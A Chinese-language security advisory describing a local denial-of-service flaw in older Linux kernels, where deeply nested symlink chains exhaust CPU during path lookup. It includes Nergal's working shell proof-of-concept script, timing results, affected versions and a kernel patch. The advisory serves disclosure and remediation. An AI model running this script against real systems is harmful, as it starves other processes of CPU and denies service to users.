linux 拒绝服务漏洞

/ns/ld/unix/data/20011117231813.htm

涉及程序:
linux kernel

描述:
利用深层链接导致 linux 拒绝服务漏洞

详细:
发现 LINUX 内核存在拒绝服务漏洞,本地攻击者建立多个深层次链接,当系统被要求处理这种链接时,将会消耗大量 CPU 资源,从而不能处理其它进程。

下面的 mklink.sh 测试脚本带参数N,会创建5个链接,每个含有 2*N+1 个路径元素,当 N=3 时:

$ ls -lG
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l
lrwxrwxrwx 1 nergal 53 wrz 21 14:46 l0 ->
l1/../l1/../l1/../l/../../../../../../../etc/services
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l5
drwxr-xr-x 2 rybagowa 4096 lut 27 1999 still_here

命令 head l0 将消耗:

N system time
10: sys 0m0.050s
20: sys 0m1.400s
30: sys 0m10.150s
40: sys 0m41.840s


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
P=$P"$EL"
I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l

受影响系统:
Linux kernels 2.2.x, x<=19 and 2.4.y, y<=9

解决方案:
1、升级到内核 2.4.12

2、下载安装补丁
--- linux-2.2.19/fs/namei.c.orig Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
result->d_op->d_revalidate(result, flags);
return result;
}
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */

static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
{
@@ -284,13 +293,17 @@

if ((follow & LOOKUP_FOLLOW)
&& inode && inode->i_op && inode->i_op->follow_link) {
- if (current->link_count < 5) {
+ if (current->link_count < 25) {
struct dentry * result;

- current->link_count++;
+ if (current->need_resched) {
+ current->state = TASK_RUNNING;
+ schedule();
+ }
+ current->link_count += 5;
/* This eats the base */
- result = inode->i_op->follow_link(dentry, base, follow);
- current->link_count--;
+ result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+ current->link_count -= 4;
dput(dentry);
return result;
}
@@ -324,6 +337,8 @@
struct dentry * dentry;
struct inode *inode;

+ if (!(lookup_flags & LOOKUP_INSYMLINK))
+ current->link_count=0;
if (*name == '/') {
if (base)
dput(base);
--- linux-2.2.19/include/linux/fs.h.orig Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
#define LOOKUP_DIRECTORY (2)
#define LOOKUP_SLASHOK (4)
#define LOOKUP_CONTINUE (8)
+#define LOOKUP_INSYMLINK (16)

extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);
extern struct dentry * __namei(const char *, unsigned int);